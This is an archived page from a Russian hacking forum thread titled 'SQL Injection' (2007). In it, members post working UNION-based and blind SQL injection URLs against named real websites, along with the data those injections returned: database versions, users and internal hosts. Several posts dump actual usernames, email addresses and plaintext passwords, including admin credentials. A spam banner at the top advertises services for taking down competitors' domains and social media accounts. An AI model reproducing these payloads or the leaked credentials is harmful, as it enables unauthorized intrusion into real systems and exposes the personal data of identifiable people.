УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 390 из 1242

390

Опции темы

Поиск в этой теме

Опции просмотра

#3891

29.11.2007, 16:06

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

Италия

gsteam.biz

Код:

http://www.gsteam.biz/video.php?media_ID=-1+union+select+1,2,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),4/*

4.1.11-Debian_4sarge7-log:gsteam_biz:jbag0007@localhost

portalstiri.com

Код:

http://www.portalstiri.com/stiri.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5/*

4.1.22-standard : pstiri_pstiridb : pstiri@localhost

emcquadro.com - ПОЗОР!!!

Код:

http://www.emcquadro.com/php.php?id_arg=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8/*

4.1.22-standard-log:emcquadr_emcquadr13860:emcquadr_interne@localh ost

inputdata.net

Код:

http://www.inputdata.net/concordia/sezione.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6/*

4.0.27-standard-log:Sql19754_3:Sql19754@62.149.140.114

infomedia2000.it

Код:

http://www.infomedia2000.it/prometeo/sezione.php?ID=1%20AND%20ascii(lower(substring(version(),1,1)))=51/*

version() : 3.23.58

viaggiavventurenelmondo.it

Код:

http://www.viaggiavventurenelmondo.it/nuovosito/eventi/cdoc/entry.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8,9/*

5.0.37-log:cdocanm:anm_sites@172.17.0.76

201 таблица:

Код:

http://www.viaggiavventurenelmondo.it/nuovosito/eventi/cdoc/entry.php?id=-1+union+select+table_name,2,3,4,5,6,7,8,9+from+information_schema.tables+limit+200,1/*

Админ [ логин : пасс ] :

Код:

simz : stealthx77cdd

#3892

29.11.2007, 16:29

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

clubsss.com

http://clubsss.com/lvov/show_club.php?club=-1+union+select+1,2,concat_ws(0x2F,cast(version()+a s+binary),cast(database()+as+binary),cast(user()+a s+binary)),4,5,6,7,8,9,1,1,1,1,1,1,1,1,1,1/*

4.1.8-standard/conus_clubsss/conus_clubsss@localhost

http://clubsss.com/lvov/show_club.php?club=-1+union+select+1,password,3,4,5,6,7,8,9,1,1,1,1,1, 1,1,1,1,1+from+users/*

хеш колумн с логином не подобрал (

-----------------------------------------------------------------------------
myworld.md

http://www.myworld.md/myprofile.php?idd=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,co ncat_ws(0x2F,version(),database(),user()),16,17,18 ,19,1,1,1,1,1,1,1,1,1/*

5.0.27/13195/13195@localhost

http://www.myworld.md/myprofile.php?idd=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,co ncat_ws(0x2F,nic,mail_all,mail_secret,upass),16,17 ,18,19,1,1,1,1,1,1,1,1,1+from+user+limit+13,1/*

логин/общее мыло/секретное мыло/пароль не хеш.
sestri4ka/starka777@rambler.ru/kaneva_t@mail.ru/sanika

----------------------------------------------------------------------------
4lover.de

http://4lover.de/view.php?l=&id=-1'+union+select+1,2,concat_ws(0x2F,version(),datab ase(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1/*

5.0.45/DB179434/U179434@bravd.store

Есть доступ к information_schema

#3893

29.11.2007, 17:02

Mike 007

Познающий

Регистрация: 04.04.2007

Сообщений: 54

Провел на форуме:
189215

Репутация: 86

Код:

http://www.afdspn.it/articolo.php?id=-1+union+select+1,concat_ws(0x3a,0x3a,user(),0x3a,database(),0x3a,version(),0x3a,0x3a)/*

#3894

29.11.2007, 17:37

Ded MustD!e

Members of Antichat - Level 5

Регистрация: 23.08.2007

Сообщений: 417

Провел на форуме:
14324684

Репутация: 3908

Код:

http://www.puntoinformatico.it/download/file.asp?file_id=1+or+1=(SELECT+TOP+1+cast(Nickname+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+nvarchar)+from+Utenti+where+ID_Prov=1)--

#3895

29.11.2007, 18:35

Fata1ex

Постоянный

Регистрация: 12.12.2006

Сообщений: 906

Провел на форуме:
4205500

Репутация: 930

ENFIX, http://forum.antichat.ru/showpost.php?p=515305&postcount=3904

edu

Код:

http://www.choices.edu/resources/detail.php?id=-49+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*

4.1.14-log:choices@charlie.services.brown.edu:Choices

Последний раз редактировалось Fata1ex; 29.11.2007 в 18:54..

#3896

29.11.2007, 19:34

mtn

Новичок

Регистрация: 12.12.2006

Сообщений: 22

Провел на форуме:
368623

Репутация: 18

Отправить сообщение для mtn с помощью ICQ

Код:

http://www.emz-hanauer.de/public_main_modul.php?page_id=-1+union+select+1,user.usrname+from+mysql.user/*

Код:

Access denied for user 'db159514_2'@'127.0.0.2' to database 'mysql'

#3897

29.11.2007, 19:50

Fata1ex

Постоянный

Регистрация: 12.12.2006

Сообщений: 906

Провел на форуме:
4205500

Репутация: 930

PR:5

Код:

http://www.mgnsw.org.au/museums_and_galleries.php?id=-16+union+select+1,2,3,4,5,6/*

mgnsw@localhost:4.1.20:mgnsw

PR:5

Код:

http://www.churchilltrust.com.au/content.php?id=-54+union+select+1,2,3,convert(concat_ws(char(58),version(),user(),database())+using%20latin1),5,6,7,8,9,10,11/*

winston@localhost:4.1.11-Debian_4sarge7:churchilltrust

PR:5

Код:

http://www.wormweb.nl/agenda.php?id=-1+union+select+aes_decrypt(aes_encrypt(user,0x71),0x71)+from+users/*

wormweb@localhost:4.1.12-Debian_0.dotdeb.0-log:wormweb01

#3898

29.11.2007, 20:00

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

spblove.ru

http://www.spblove.ru/mistakes.php?id=-1+union+select+1,concat_ws(0x2F,cast(version()+as+ binary),cast(database()+as+binary),cast(user()+as+ binary))/*

4.1.11-Debian_4sarge2-log/spblove8_main/spblove8_main@85.249.135.4

http://www.spblove.ru/mistakes.php?id=-1+union+select+1,concat_ws(0x2F,login,password,icq )+from+ankets+limit+1300,1/*

логин/хеш/уин
-----------------------------------------------------------------------------

http://www.happywedding.ru/ladies_details.php?recordID=-1+UNION+SELECT+1,concat_ws(0x2F,version(),database (),user()),3,4,5,6,7,8,9,10,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1/*

4.1.22-lk-log/hapwru_lady/hapwru_lady@localhost
--------------------------------------------------------------------------

http://www.prosex.com.ua/news/show.php?id=-1+union+select+1,2,concat_ws(0x2F,version(),databa se(),user()),4,5,6/*

4.1.22/prosex/prosex@localhost
--------------------------------------------------------------------------
http://news.13rus.ru/?id=-1+union+select+1,2,concat_ws(0x2F,version(),databa se(),user()),4,5,6/*

4.1.22-standard/vitaliy_13rus/vitaliy_13rus@localhost
--------------------------------------------------------------------------
ecoby.info

http://www.ecoby.info/index.php?page=measure&src=main&mid=-1+union+select+1,2,3,4,concat_ws(0x2F,version(),da tabase(),user()),6,7,8,9,10,11,12,13,14/*

4.1.21-standard-log/ecobyin_iac/ecobyin_User@localhost

http://www.ecoby.info/index.php?page=measure&src=main&mid=-1+union+select+1,2,3,4,5,concat_ws(0x2F,ulogin,upa ss,umail),7,8,9,10,11,12,13,14+from+users/*

логин/хеш/мейл

#3899

29.11.2007, 20:59

Ded MustD!e

Members of Antichat - Level 5

Регистрация: 23.08.2007

Сообщений: 417

Провел на форуме:
14324684

Репутация: 3908

http://www.privacyconference2006.co.uk/

Код:

http://www.privacyconference2006.co.uk/index.asp?PageID=-1+union+select+version(),2/*

Не смог подобрать таблицы...

#3900

29.11.2007, 21:10

Fata1ex

Постоянный

Регистрация: 12.12.2006

Сообщений: 906

Провел на форуме:
4205500

Репутация: 930

PR:3

Код:

http://www.theshiznit.co.uk/review.php?id=-242+union+select+1,2,3,4,concat_ws(char(58),user(),version(),database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

sr0291893@81.31.99.13:5.0.45-log:sr0291893

Код:

http://www.theshiznit.co.uk/review.php?id=-242+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables+limit+24,1/*

shiznit_users

Код:

http://www.theshiznit.co.uk/review.php?id=-242+union+select+1,2,3,4,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.columns+where+table_name='shiznit_users'+limit+1,1/*

nickname : email : password : id

Код:

http://www.theshiznit.co.uk/review.php?id=-242+union+select+1,2,3,4,concat_ws(char(58),nickname,email,password,id),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+shiznit_users/*

Код:

Bob:andy@mrhunt.co.uk:shiznitgod:1
andy:andy:12345:8
Pandaemonium:richardjamesbacon@btinternet.co.uk:preacher:10
thefuckestuppest:moshpit@grungefans.co.uk:wolf359:11
blamfish:bianconeri@gmail.com:kamikaze:12
monkey_man:lukewhiston@hotmail.com:monkeyman:13
Geffdof:jeffbeynon@hotmail.com:kennym:14
...

PR:4

Код:

http://www.lunarenergy.co.uk/newsDetail.php?id=-12+union+select+1,2,3,4,5,convert(concat_ws(char(58),version(),user(),database())using%20latin1),7/*

4.1.12-log:steve@64.57.64.164:sca

Последний раз редактировалось Fata1ex; 29.11.2007 в 21:18..

Страница 390 из 1242

390

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход